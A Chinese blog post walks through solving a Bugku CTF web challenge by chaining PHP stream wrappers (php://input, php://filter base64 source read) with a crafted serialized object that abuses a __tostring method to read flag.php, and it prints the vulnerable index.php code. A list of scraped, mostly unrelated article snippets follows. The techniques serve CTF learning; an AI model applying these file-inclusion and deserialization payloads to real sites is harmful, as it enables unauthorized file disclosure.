这一道题目,幸好俺有基础知识护体,不然还真干不掉。
 
  首先,登录看题目,取消隐藏代码的注释。可知可输入三个参数txt、file和password并进行逻辑判断;应该让txt==‘welcome to the bugkuctf’,让file=hint.php,但输入没反应(原因是file_get_contents()是将一个文件读进去,其中一种方法是POST提交,不是GET参数哦),思考可以通过伪协议,借用第三方数据做参数,嘻嘻。
 

1.伪协议php://input和php://filter+魔幻函数
  官方文档中说,php://input是一个可以访问 请求的原始数据 的只读流,emmmmmmmm。此处使用它读取请求数据包body的内容
  php://filter被设计用于数据打开时的筛选过滤应用,后可以加resource、read和write选项。此处使用它来转译数据。
  启程--

  上图呢,通过php://input获取请求包中body信息(一会儿构造),通过php://filter/read=convert.base64-encode/resource=hint.php获取hint.php文件的base64编码内容,为什么编码捏,因为在网页直接看不到php内容哦。。。。拦截到包后,增加了内容,如下图所示,反馈的一坨结果就是编码内容。

  解码后,清爽多了:
<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  
  这就是hint.php的内容,emmmmmmmm看见没,里面提示flag.php,引导说明这里面会有flag。现在的逻辑是,通过主页面(默认是index.php)可搜索到hint.php,通过hint.php极有可能获取到flag.php中的flag信息。
  hint.php中里是一个类,而且里面居然有魔幻函数__tostring(),它在类创建的对象为字符串时会调用,怎样可以将一个对象变成字符串呢?用序列化呗。
 
2.序列化与反序列化
  在本地创建一个PHP文件,内容为
<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }  
    }  
}  
$f=new Flag();
$f->file=flag.php;
echo serialize($f);
?>  
  序列化的结果为
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  但这个结果怎么传递捏。
 
  其实,主界面默认是index.php,而我们并看不到全面的代码,所以捏,先base64编码它再看,嘿嘿。

emmmmmmmmmm,界面内容是这样的,关键点直接在代码中gank。
<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];    
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){
        echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";//这儿说明了不能直接在主界面中查看flag.php内容-。-
        exit();  
    }else{  //看到了,这儿反序列并输出了flag对象中的输出值,其中就有flag.php文件的内容。
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}    
?>    
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];    
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
-->  
  好了,都清楚了,看看操作和结果吧,
 

hieahiea-。-
 
 
 

http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)的更多相关文章

  1. Bugku——Flag在index里(http://120.24.86.145:8005/post/)

    Bugku——Flag在index里(http://120.24.86.145:8005/post/) 进入题目发现有一个file参数,查看源码,发现该参数可以包含php文件,并且题目提示,flag在 ...

  2. http://www.bugku.com:Bugku——备份是个好习惯(http://120.24.86.145:8002/web16/)

      看了bugku的这道题,陌生又熟悉.     题目首先说[备份是个好习惯],访问网站只有一串字符,,,,,emmmmm,这句话表明人家经常做备份,所以咯,肯定在网站哪里备份有网页信息.嘻嘻   1 ...

  3. http://www.bugku.com:Bugku——jsfuckWEB5(http://120.24.86.145:8002/web5/index.php)

      今天又做了bugku上面的一道题.使用到了jsfuck,它是什么捏?   它是Javascript原子化的一种简易表达方式,用[]()!+就可以表示所有的Javascript字符,不依赖于浏览器. ...

  4. http://www.bugku.com:Bugku——变量1(http://120.24.86.145:8004/index1.php)

           之前立志做出需要编码解决和时间相关的那道CTF题目,但是这次没找到,相关人士找到了麻烦告诉我一声.本次再学习一下子关于正则表达式和PHP的相关知识.开课咯-.-   刚看题目就发现提示, ...

  5. CTF伪协议+preg_replace()函数的代码执行

    一道学习中所遇到的ctf 步骤: 我们点击题目链接,然后在页面先点击”云平台后台管理中心“ 然后url后面跟了参数page,题目提示了一个文件包含,我们试试index.php 看到了输出了ok,应该是 ...

  6. 【JavaScript】javascript中伪协议(javascript:)使用探讨

    javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行. 比如下面这个死链接: <a href="javasc ...

  7. javascript 伪协议

    [javascript 伪协议] 将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中.这个特殊的协议类型声明了URL的主体是任意的javascrip ...

  8. JavaScript中伪协议 javascript:研究

    将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中.这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的 ...

  9. A标签使用javascript:伪协议

    一.前言 今天,遇到一个别人挖的坑,问题是这样的. 做了一个列表页,可以筛选数据,有很多筛条件.主要是有input复选框和<a>标签两种.如图: 其中房价的筛选条件使用<a>标 ...

随机推荐

  1. Oracle函数使用

    数据格式化截取:  Trunc(data,[yyyy]) oracle的特有if判断: decode(sex, 0, '男', 1, '女') 分组排序:row_number() over(parti ...

  2. opencv给图片添加文字水印<转>

    其中有一些改动为了文字大小等还有一些图片的尺寸,真正使用的时候可以把尺寸的屏蔽掉 头文件: //==================================================== ...

  3. ubuntu卸载福昕阅读器

    在安装目录找到maintenancetool.sh运行之 ~/opt/foxitsoftware/foxitreader

  4. python tuple排序

    tuple排序,按照索引0,1,2,3...依次比较 a = [3,1,0,9,6,2,4,8,7,5] a.sort(key = lambda x: (x%2, x, x%3)) # 先按照x%2的 ...

  5. C++复习:C++的类型转换

    C++的类型转换 1 类型转换名称和语法 C风格的强制类型转换(Type Cast)很简单,不管什么类型的转换统统是: TYPE b = (TYPE)a C++风格的类型转换提供了4种类型转换操作符来 ...

  6. 【转】UGUI研究院之缓存策略让UI打开更快(三十)

    UGUI研究院之缓存策略让UI打开更快(三十) [投稿]Unity3D游戏优化之头顶UI 注意里面提到了:SuperTextMesh:能渲染动态文字,富文本支持图文混排,缺点是支持atlas但很弱,资 ...

  7. unzip解压带密码的压缩包

    // 解压 String pw = "123456"; String cmd = "unzip -P " + pw + " /root/lianlia ...

  8. ReactiveX 学习笔记(4)过滤数据流

    Filtering Observables 本文主题为过滤 Observable 的操作符. 这里的 Observable 实质上是可观察的数据流. RxJava操作符(三)Filtering Deb ...

  9. Kotlin语言学习笔记(1)

    fun main(args: Array<String>) { println("Hello, World!") } 基本语法 声明常量用val,声明变量用var,声明 ...

  10. ArcGIS案例学习笔记-CAD数据自动拓扑检查

    ArcGIS案例学习笔记-CAD数据自动拓扑检查 联系方式:谢老师,135-4855-4328,xiexiaokui#qq.com 功能:针对CAD数据,自动进行拓扑检查 优点:类别:地理建模项目实例 ...